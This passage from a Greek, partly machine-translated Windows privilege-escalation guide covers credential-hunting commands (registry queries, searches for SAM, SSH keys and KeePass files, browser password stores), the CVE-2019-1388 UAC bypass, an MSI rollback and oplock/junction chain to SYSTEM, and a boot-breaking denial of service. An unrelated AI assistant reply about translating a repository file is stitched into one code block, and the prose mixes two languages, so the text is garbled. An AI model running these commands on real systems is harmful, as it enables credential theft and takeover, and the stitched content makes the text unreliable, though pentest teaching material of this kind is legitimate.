FreeSSHDservice.ini access.log error.log server.xml ConsoleHost_history.txt setupinfo setupinfo.bak key3.db #Firefox key4.db #Firefox places.sqlite #Firefox "Login Data" #Chrome Cookies #Chrome Bookmarks #Chrome History #Chrome TypedURLsTime #IE TypedURLs #IE %SYSTEMDRIVE%\pagefile.sys %WINDIR%\debug\NetSetup.log %WINDIR%\repair\sam %WINDIR%\repair\system %WINDIR%\repair\software, %WINDIR%\repair\security %WINDIR%\iis6.log %WINDIR%\system32\config\AppEvent.Evt %WINDIR%\system32\config\SecEvent.Evt %WINDIR%\system32\config\default.sav %WINDIR%\system32\config\security.sav %WINDIR%\system32\config\software.sav %WINDIR%\system32\config\system.sav %WINDIR%\system32\CCM\logs\*.log %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` I don't have access to your repository. Please either: - Paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md here, or - Provide the list of "proposed files" you want searched, or - Tell me the exact search term and whether I should search filenames or file contents. If you want to run a local search yourself, a helpful command is: grep -RIn "SEARCH_TERM" path/to/repo Once you provide the file content or clarify, I'll translate the relevant English text to Greek following your rules. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" ``` ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` ### Διαπιστευτήρια στον Κάδο Ανακύκλωσης Ελέγξτε επίσης τον Κάδο για διαπιστευτήρια. Για να **ανακτήσετε κωδικούς πρόσβασης** που έχουν αποθηκεύσει διάφορα προγράμματα μπορείτε να χρησιμοποιήσετε: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) ### Στο μητρώο **Άλλα πιθανά κλειδιά του μητρώου που περιέχουν διαπιστευτήρια** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s reg query "HKCU\Software\TightVNC\Server" reg query "HKCU\Software\OpenSSH\Agent\Key" ``` [**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) ### Ιστορικό περιηγητών Πρέπει να ελέγξετε για dbs όπου αποθηκεύονται κωδικοί από **Chrome or Firefox**.\ Επίσης ελέγξτε το history, bookmarks και favourites των browsers γιατί ίσως μερικοί **passwords are** αποθηκεύονται εκεί. Tools to extract passwords from browsers: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) - [**SharpChromium**](https://github.com/djhohnstein/SharpChromium) - [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) ### **COM DLL Overwriting** **Component Object Model (COM)** είναι μια τεχνολογία ενσωματωμένη στο λειτουργικό σύστημα Windows που επιτρέπει την αλληλεπικοινωνία μεταξύ λογισμικών συστατικών γραμμένων σε διαφορετικές γλώσσες. Κάθε COM component αναγνωρίζεται μέσω ενός class ID (CLSID) και κάθε component εκθέτει λειτουργίες μέσω μίας ή περισσότερων interfaces, αναγνωριζόμενων μέσω interface IDs (IIDs). COM classes and interfaces are defined in the registry under **HKEY\CLASSES\ROOT\CLSID** and **HKEY\CLASSES\ROOT\Interface** respectively. This registry is created by merging the **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** Μέσα στα CLSIDs αυτού του registry μπορείτε να βρείτε το child registry **InProcServer32** που περιέχει μια **default value** που δείχνει σε ένα **DLL** και μια τιμή που ονομάζεται **ThreadingModel** η οποία μπορεί να είναι Apartment (μονόνημα), Free (πολύνημα), Both (μονό ή πολύ) ή Neutral (ουδέτερο ως προς τα νήματα). ![](<../../images/image (729).png>) Βασικά, αν μπορείτε να **overwrite any of the DLLs** που πρόκειται να εκτελεστούν, θα μπορούσατε να **escalate privileges** αν αυτό το DLL πρόκειται να εκτελεστεί από διαφορετικό χρήστη. To learn how attackers use COM Hijacking as a persistence mechanism check: {{#ref}} com-hijacking.md {{#endref}} ### **Γενική αναζήτηση κωδικών σε αρχεία και registry** **Αναζήτηση περιεχομένου αρχείων** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` **Αναζήτηση για αρχείο με συγκεκριμένο όνομα** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` **Αναζήτηση στο μητρώο για ονόματα κλειδιών και κωδικούς** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` ### Εργαλεία που αναζητούν passwords [**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **είναι ένα msf** plugin που έχω δημιουργήσει για να **εκτελεί αυτόματα κάθε metasploit POST module που αναζητά credentials** μέσα στο θύμα.\ [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) αναζητά αυτόματα όλα τα αρχεία που περιέχουν passwords που αναφέρονται σε αυτήν τη σελίδα.\ [**Lazagne**](https://github.com/AlessandroZ/LaZagne) είναι ένα ακόμα εξαιρετικό εργαλείο για την εξαγωγή password από ένα σύστημα. Το εργαλείο [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) αναζητά **sessions**, **usernames** και **passwords** πολλών εργαλείων που αποθηκεύουν αυτά τα δεδομένα σε clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough Invoke-SessionGopher -AllDomain -o Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\ [Διαβάστε αυτό το παράδειγμα για περισσότερες πληροφορίες σχετικά με **πώς να εντοπίσετε και να εκμεταλλευτείτε αυτήν την ευπάθεια**.](leaked-handle-exploitation.md)\ [Διαβάστε αυτό το **άλλο άρθρο για μια πιο πλήρη εξήγηση σχετικά με το πώς να δοκιμάσετε και να καταχραστείτε περισσότερα open handlers διεργασιών και νημάτων που κληρονομούνται με διαφορετικά επίπεδα δικαιωμάτων (όχι μόνο full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation Τα shared memory segments, αναφερόμενα ως **pipes**, επιτρέπουν την επικοινωνία μεταξύ διεργασιών και τη μεταφορά δεδομένων. Τα Windows παρέχουν μια λειτουργία που ονομάζεται **Named Pipes**, που επιτρέπει σε ανεξάρτητες διεργασίες να μοιράζονται δεδομένα, ακόμη και σε διαφορετικά δίκτυα. Αυτό μοιάζει με αρχιτεκτονική client/server, με ρόλους ορισμένους ως **named pipe server** και **named pipe client**. Όταν δεδομένα αποστέλλονται μέσω μιας pipe από έναν **client**, ο **server** που δημιούργησε την pipe έχει τη δυνατότητα να **υποδυθεί την ταυτότητα** του **client**, υπό την προϋπόθεση ότι διαθέτει τα απαραίτητα δικαιώματα **SeImpersonate**. Ο εντοπισμός μιας **privileged process** που επικοινωνεί μέσω μιας pipe που μπορείτε να μιμηθείτε παρέχει την ευκαιρία να **αποκτήσετε υψηλότερα προνόμια** υιοθετώντας την ταυτότητα αυτής της διεργασίας μόλις αλληλεπιδράσει με την pipe που δημιουργήσατε. Για οδηγίες εκτέλεσης τέτοιας επίθεσης, χρήσιμοι οδηγοί βρίσκονται [**εδώ**](named-pipe-client-impersonation.md) και [**εδώ**](#from-high-integrity-to-system). Επίσης το ακόλουθο εργαλείο επιτρέπει να **παρακολουθήσετε (intercept) μια named pipe επικοινωνία με ένα εργαλείο όπως το burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **και αυτό το εργαλείο επιτρέπει να καταγράψετε και να δείτε όλες τις pipes για να βρείτε privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) ## Misc ### File Extensions that could execute stuff in Windows Δείτε τη σελίδα **[https://filesec.io/](https://filesec.io/)** ### **Monitoring Command Lines for passwords** Όταν αποκτάτε ένα shell ως χρήστης, μπορεί να υπάρχουν προγραμματισμένες εργασίες ή άλλες διεργασίες που εκτελούνται και **περνούν διαπιστευτήρια στη γραμμή εντολών**. Το script παρακάτω συλλαμβάνει τις γραμμές εντολών των διεργασιών κάθε δύο δευτερόλεπτα και συγκρίνει την τρέχουσα κατάσταση με την προηγούμενη, εμφανίζοντας τυχόν διαφορές. ```bash while($true) { $process = Get-WmiObject Win32_Process | Select-Object CommandLine Start-Sleep 1 $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` ## Stealing passwords from processes ## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass Εάν έχετε πρόσβαση στη γραφική διεπαφή (μέσω console ή RDP) και το UAC είναι ενεργοποιημένο, σε ορισμένες εκδόσεις του Microsoft Windows είναι δυνατό να εκτελέσετε ένα τερματικό ή οποιαδήποτε άλλη διεργασία όπως "NT\AUTHORITY SYSTEM" από έναν μη προνομιούχο χρήστη. Αυτό καθιστά δυνατή την κλιμάκωση προνομίων και την παράκαμψη του UAC ταυτόχρονα με την ίδια ευπάθεια. Επιπλέον, δεν υπάρχει ανάγκη να εγκαταστήσετε τίποτα και το binary που χρησιμοποιείται κατά τη διαδικασία είναι υπογεγραμμένο και εκδίδεται από τη Microsoft. Κάποια από τα επηρεαζόμενα συστήματα είναι τα εξής: ``` SERVER ====== Windows 2008r2 7601 ** link OPENED AS SYSTEM ** Windows 2012r2 9600 ** link OPENED AS SYSTEM ** Windows 2016 14393 ** link OPENED AS SYSTEM ** Windows 2019 17763 link NOT opened WORKSTATION =========== Windows 7 SP1 7601 ** link OPENED AS SYSTEM ** Windows 8 9200 ** link OPENED AS SYSTEM ** Windows 8.1 9600 ** link OPENED AS SYSTEM ** Windows 10 1511 10240 ** link OPENED AS SYSTEM ** Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` Για να εκμεταλλευτείτε αυτή την ευπάθεια, είναι απαραίτητο να εκτελέσετε τα ακόλουθα βήματα: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. 2) When the UAC prompt appears, select "Show more details". 3) Click "Show publisher certificate information". 4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear. 5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window. 6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process. 7) You now will have an "NT\AUTHORITY SYSTEM" command prompt. 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` You have all the necessary files and information in the following GitHub repository: https://github.com/jas502n/CVE-2019-1388 ## Από Administrator Medium σε High Integrity Level / UAC Bypass Διάβασε αυτό για να μάθεις περί των Integrity Levels: {{#ref}} integrity-levels.md {{#endref}} Έπειτα διάβασε αυτό για να μάθεις για το UAC και τις παρακάμψεις UAC: {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} ## Από Arbitrary Folder Delete/Move/Rename σε SYSTEM EoP Η τεχνική που περιγράφεται [**σε αυτό το blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) με έναν exploit κώδικα [**διαθέσιμο εδώ**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). Η επίθεση βασικά συνίσταται στην κατάχρηση της rollback λειτουργίας του Windows Installer για να αντικαταστήσει νόμιμα αρχεία με κακόβουλα κατά τη διαδικασία απεγκατάστασης. Για αυτό ο attacker χρειάζεται να δημιουργήσει ένα **κακόβουλο MSI installer** που θα χρησιμοποιηθεί για να καταλάβει τον φάκελο `C:\Config.Msi`, ο οποίος αργότερα θα χρησιμοποιηθεί από τον Windows Installer για να αποθηκεύσει αρχεία rollback κατά την απεγκατάσταση άλλων MSI πακέτων όπου τα αρχεία rollback θα είχαν τροποποιηθεί ώστε να περιέχουν το κακόβουλο payload. Η συνοπτική τεχνική είναι η εξής: 1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** - Βήμα 1: Εγκατάσταση του MSI - Δημιούργησε ένα `.msi` που εγκαθιστά ένα ακίνδυνο αρχείο (π.χ., `dummy.txt`) σε έναν εγγράψιμο φάκελο (`TARGETDIR`). - Σήμανε τον installer ως **"UAC Compliant"**, ώστε ένας **χρήστης χωρίς δικαιώματα διαχειριστή** να μπορεί να το τρέξει. - Κράτησε ένα **handle** ανοιχτό στο αρχείο μετά την εγκατάσταση. - Βήμα 2: Ξεκίνημα της απεγκατάστασης - Απεγκατάστησε το ίδιο `.msi`. - Η διαδικασία απεγκατάστασης ξεκινά να μετακινεί αρχεία στο `C:\Config.Msi` και να τα μετονομάζει σε αρχεία `.rbf` (rollback backups). - **Πόλλαρε (poll) το ανοιχτό handle αρχείου** χρησιμοποιώντας `GetFinalPathNameByHandle` για να εντοπίσεις πότε το αρχείο γίνεται `C:\Config.Msi\.rbf`. - Βήμα 3: Προσαρμοσμένος συγχρονισμός - Το `.msi` περιλαμβάνει μια **προσαρμοσμένη uninstall action (`SyncOnRbfWritten`)** που: - Στέλνει σήμα όταν το `.rbf` έχει γραφτεί. - Έπειτα **περιμένει** για ένα άλλο event πριν συνεχίσει την απεγκατάσταση. - Βήμα 4: Μπλόκαρε τη διαγραφή του `.rbf` - Όταν λάβεις το σήμα, **άνοιξε το `.rbf` αρχείο** χωρίς `FILE_SHARE_DELETE` — αυτό **εμποδίζει τη διαγραφή του**. - Έπειτα **στείλε πίσω σήμα** ώστε η απεγκατάσταση να ολοκληρωθεί. - Ο Windows Installer αποτυγχάνει να διαγράψει το `.rbf`, και επειδή δεν μπορεί να διαγράψει όλα τα περιεχόμενα, **ο φάκελος `C:\Config.Msi` δεν αφαιρείται**. - Βήμα 5: Διαγραφή του `.rbf` με το χέρι - Εσύ (ο attacker) διαγράφεις το `.rbf` χειροκίνητα. - Τώρα **το `C:\Config.Msi` είναι κενό**, έτοιμο για hijack. > Σε αυτό το σημείο, **προκάλεσε την ευπάθεια συστήματος σε επίπεδο SYSTEM που επιτρέπει arbitrary folder delete** για να διαγράψεις το `C:\Config.Msi`. 2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** - Βήμα 6: Αναδημιουργία του `C:\Config.Msi` με αδύναμα ACLs - Αναδημιούργησε τον φάκελο `C:\Config.Msi` ο ίδιος. - Ορίστε **αδύναμα DACLs** (π.χ., Everyone:F), και **κράτησε ένα handle ανοιχτό** με `WRITE_DAC`. - Βήμα 7: Τρέξε άλλη εγκατάσταση - Εγκατέστησε το `.msi` ξανά, με: - `TARGETDIR`: εγγράψιμη θέση. - `ERROROUT`: μια μεταβλητή που προκαλεί σκόπιμη αποτυχία. - Αυτή η εγκατάσταση θα χρησιμοποιηθεί για να ενεργοποιήσει ξανά το **rollback**, που διαβάζει `.rbs` και `.rbf`. - Βήμα 8: Παρακολούθησε για `.rbs` - Χρησιμοποίησε `ReadDirectoryChangesW` για να παρακολουθείς το `C:\Config.Msi` έως ότου εμφανιστεί ένα νέο `.rbs`. - Κατέγραψε το όνομα αρχείου του. - Βήμα 9: Συγχρονισμός πριν το rollback - Το `.msi` περιέχει μια **προσαρμοσμένη install action (`SyncBeforeRollback`)** που: - Στέλνει σήμα όταν δημιουργηθεί το `.rbs`. - Έπειτα **περιμένει** πριν συνεχίσει. - Βήμα 10: Επαναεφαρμογή αδύναμου ACL - Μετά την παραλαβή του event `(.rbs created)`: - Ο Windows Installer **επαναεφαρμόζει ισχυρά ACLs** στο `C:\Config.Msi`. - Αλλά επειδή εσύ κρατάς ακόμη ένα handle με `WRITE_DAC`, μπορείς να **επαναεφαρμόσεις ξανά τα αδύναμα ACLs**. > Τα ACLs εφαρμόζονται **μόνο κατά το άνοιγμα του handle**, οπότε μπορείς ακόμα να γράψεις στον φάκελο. - Βήμα 11: Ρίξε ψεύτικα `.rbs` και `.rbf` - Επικαλύπτεις το `.rbs` αρχείο με ένα **ψεύτικο rollback script** που λέει στα Windows να: - Επαναφέρει το `.rbf` σου (κακόβουλο DLL) σε μια **προνομιούχα τοποθεσία** (π.χ., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). - Τοποθετεί το ψεύτικο `.rbf` σου που περιέχει ένα **κακόβουλο SYSTEM-level payload DLL**. - Βήμα 12: Προκάλεσε το Rollback - Σήμανε το sync event ώστε ο installer να συνεχίσει. - Μια **type 19 custom action (`ErrorOut`)** είναι ρυθμισμένη να **προκαλεί σκόπιμα αποτυχία της εγκατάστασης** σε ένα γνωστό σημείο. - Αυτό προκαλεί την έναρξη του **rollback**. - Βήμα 13: Το SYSTEM εγκαθιστά το DLL σου - Ο Windows Installer: - Διαβάζει το κακόβουλο `.rbs`. - Αντιγράφει το `.rbf` DLL σου στη στοχευμένη τοποθεσία. - Τώρα έχεις το **κακόβουλο DLL σε μια διαδρομή που φορτώνεται από το SYSTEM**. - Τελικό Βήμα: Εκτέλεση κώδικα ως SYSTEM - Τρέξε ένα αξιόπιστο **auto-elevated binary** (π.χ., `osk.exe`) που φορτώνει το DLL που υπέκλεψες. - **Boom**: Ο κώδικάς σου εκτελείται **ως SYSTEM**. ### Από Arbitrary File Delete/Move/Rename σε SYSTEM EoP Η κύρια τεχνική rollback του MSI (η προηγούμενη) υποθέτει ότι μπορείς να διαγράψεις έναν **ολόκληρο φάκελο** (π.χ., `C:\Config.Msi`). Αλλά τι γίνεται αν η ευπάθεια σου επιτρέπει μόνο **arbitrary file deletion**; Μπορείς να εκμεταλλευτείς τα NTFS internals: κάθε φάκελος έχει ένα κρυφό alternate data stream που ονομάζεται: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` Αυτό το stream αποθηκεύει τα **μεταδεδομένα ευρετηρίου** του φακέλου. Έτσι, αν **διαγράψετε το stream `::$INDEX_ALLOCATION`** ενός φακέλου, το NTFS **αφαιρεί ολόκληρο τον φάκελο** από το σύστημα αρχείων. Μπορείτε να το κάνετε χρησιμοποιώντας τυπικά APIs διαγραφής αρχείων όπως: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` > Παρόλο που καλείτε ένα *file* delete API, αυτό **διαγράφει τον ίδιο τον folder**. ### Από Folder Contents Delete σε SYSTEM EoP Τι γίνεται αν το primitive σας δεν επιτρέπει να διαγράψετε αυθαίρετα files/folders, αλλά **επιτρέπει τη διαγραφή του *contents* ενός attacker-controlled folder**; 1. Βήμα 1: Ρύθμιση bait folder και file - Δημιουργία: `C:\temp\folder1` - Μέσα σε αυτό: `C:\temp\folder1\file1.txt` 2. Βήμα 2: Τοποθετήστε ένα **oplock** στο `file1.txt` - Το oplock **παγώνει την εκτέλεση** όταν μια privileged process προσπαθεί να διαγράψει `file1.txt`. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` 3. Βήμα 3: Εκτέλεση της διεργασίας SYSTEM (π.χ., `SilentCleanup`) - Αυτή η διεργασία σαρώει φακέλους (π.χ., `%TEMP%`) και προσπαθεί να διαγράψει τα περιεχόμενά τους. - Όταν φτάσει στο `file1.txt`, το **oplock triggers** και παραδίδει τον έλεγχο στο callback σας. 4. Βήμα 4: Μέσα στο oplock callback – ανακατεύθυνση της διαγραφής - Επιλογή A: Μετακινήστε το `file1.txt` αλλού - Αυτό αδειάζει το `folder1` χωρίς να σπάσει το oplock. - Μην διαγράφετε το `file1.txt` απευθείας — αυτό θα απελευθέρωνε το oplock πρόωρα. - Επιλογή B: Μετατρέψτε το `folder1` σε **junction**: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control ``` - Επιλογή C: Δημιουργήστε ένα **symlink** στο `\RPC Control`: ```bash # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` > Αυτό στοχεύει στο εσωτερικό stream του NTFS που αποθηκεύει τα metadata των φακέλων — η διαγραφή του διαγράφει τον φάκελο. 5. Βήμα 5: Απελευθέρωση του oplock - Η διαδικασία SYSTEM συνεχίζει και προσπαθεί να διαγράψει `file1.txt`. - Αλλά τώρα, λόγω του junction + symlink, στην πραγματικότητα διαγράφει: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` **Αποτέλεσμα**: `C:\Config.Msi` διαγράφεται από το SYSTEM. ### Από τη δημιουργία αυθαίρετου φακέλου σε μόνιμο DoS Εκμεταλλευτείτε ένα primitive που σας επιτρέπει να **create an arbitrary folder as SYSTEM/admin** — ακόμα και αν **you can’t write files** ή **set weak permissions**. Δημιουργήστε έναν **φάκελο** (όχι ένα **αρχείο**) με το όνομα ενός **critical Windows driver**, π.χ.: ``` C:\Windows\System32\cng.sys ``` - Αυτό το μονοπάτι συνήθως αντιστοιχεί στον kernel-mode driver `cng.sys`. - Αν το **δημιουργήσετε εκ των προτέρων ως φάκελο**, τα Windows αποτυγχάνουν να φορτώσουν τον πραγματικό driver κατά την εκκίνηση. - Έπειτα, τα Windows προσπαθούν να φορτώσουν το `cng.sys` κατά την εκκίνηση. - Βλέπει τον φάκελο, **δεν μπορεί να εντοπίσει τον πραγματικό driver**, και **καταρρέει ή διακόπτει την εκκίνηση**. - Δεν υπάρχει **εναλλακτική λύση**, και **δεν υπάρχει δυνατότητα ανάκτησης** χωρίς εξωτερική παρέμβαση (π.χ., επιδιόρθωση εκκίνησης ή πρόσβαση στο δίσκο). ## **Από High Integrity σε System** ### **Νέα υπηρεσία** Αν ήδη τρέχετε σε μια High Integrity διεργασία, η **διαδρομή προς το SYSTEM** μπορεί να είναι εύκολη, απλά δημιουργώντας και εκτελώντας μια νέα υπηρεσία: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] > Όταν δημιουργείτε ένα service binary βεβαιωθείτε ότι είναι ένα έγκυρο service ή ότι το binary εκτελεί τις απαραίτητες ενέργειες γρήγορα, καθώς θα τερματιστεί σε 20s αν δεν είναι έγκυρο service. ### AlwaysInstallElevated From a High Integrity process you could try to **ενεργοποιήσετε τα AlwaysInstallElevated registry entries** και **εγκαταστήσετε** ένα reverse shell χρησιμοποιώντας ένα _**.msi**_ wrapper.\ [More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System **Μπορείτε** [**find the code here**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to **ανοίξετε σχεδόν οποιαδήποτε process** (not protected processes) με το SeDebug privilege, **αντιγράψετε το token** της διεργασίας, και να δημιουργήσετε μια **arbitrary process με εκείνο το token**.\ Using this technique is usually **επιλέγεται κάποια process που τρέχει ως SYSTEM με όλα τα token privileges** (_yes, you can find SYSTEM processes without all the token privileges_).\ **Μπορείτε να βρείτε ένα** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** Αυτή η τεχνική χρησιμοποιείται από το meterpreter για να escalate σε `getsystem`. Η τεχνική συνίσταται στο **δημιουργία ενός pipe και στη συνέχεια δημιουργία/κατάχρηση ενός service για να γράψει σε αυτό το pipe**. Έπειτα, ο **server** που δημιούργησε το pipe χρησιμοποιώντας το **`SeImpersonate`** privilege θα είναι σε θέση να **υποδυθεί (impersonate) το token** του pipe client (του service) αποκτώντας SYSTEM privileges.\ If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking If you manages to **hijack a dll** being **loaded** by a **process** running as **SYSTEM** you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far **πιο εύκολο να επιτευχθεί από μια high integrity process** καθώς θα έχει **write permissions** στους φακέλους που χρησιμοποιούνται για το φόρτωμα των dlls.\ **You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** - [https://github.com/sailay1996/RpcSsImpersonator](https://github.com/sailay1996/RpcSsImpersonator) - [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/) - [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit) ### From LOCAL SERVICE or NETWORK SERVICE to full privs **Διαβάστε:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) ## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Useful tools **Καλύτερο εργαλείο για να αναζητήσετε Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ [**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Ελέγχει για misconfigurations και sensitive files (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Εντοπίστηκε.**\ [**JAWS**](https://github.com/411Hall/JAWS) **-- Ελέγχει για κάποιες πιθανές misconfigurations και συγκεντρώνει πληροφορίες (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ [**privesc** ](https://github.com/enjoiz/Privesc)**-- Έλεγχος για misconfigurations**\ [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Εξάγει αποθηκευμένες συνεδρίες PuTTY, WinSCP, SuperPuTTY, FileZilla, και RDP. Χρησιμοποιήστε -Thorough τοπικά.**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Εξάγει credentials από το Credential Manager. Εντοπίστηκε.**\ [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spray των συγκεντρωμένων κωδικών στο domain**\ [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh είναι ένα PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer και man-in-the-middle εργαλείο.**\ [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Βασική Windows privesc enumeration**\ [~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Αναζήτηση γνωστών privesc vulnerabilities (DEPRECATED for Watson)\ [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Τοπικοί έλεγχοι **(Απαιτούνται Admin δικαιώματα)** **Exe** [**Watson**](https://github.com/rasta-mouse/Watson) -- Αναζητά γνωστά privesc vulnerabilities (απαιτείται να μεταγλωττιστεί χρησιμοποιώντας VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ [**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Εξετάζει το host αναζητώντας misconfigurations (πιο πολύ εργαλείο gather info παρά privesc) (χρειάζεται compile) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ [**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Εξάγει credentials από πολλά softwares (precompiled exe στο github)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port του PowerUp σε C#**\ [~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Έλεγχος για misconfiguration (executable precompiled στο github). Δεν συνιστάται. Δεν λειτουργεί καλά σε Win10.\ [~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Έλεγχος για πιθανές misconfigurations (exe από python). Δεν συνιστάται. Δεν λειτουργεί καλά σε Win10. **Bat** [**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Εργαλείο δημιουργημένο βάσει αυτού του post (δεν χρειάζεται accesschk για να λειτουργήσει σωστά αλλά μπορεί να το χρησιμοποιήσει). **Local** [**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Διαβάζει την έξοδο του 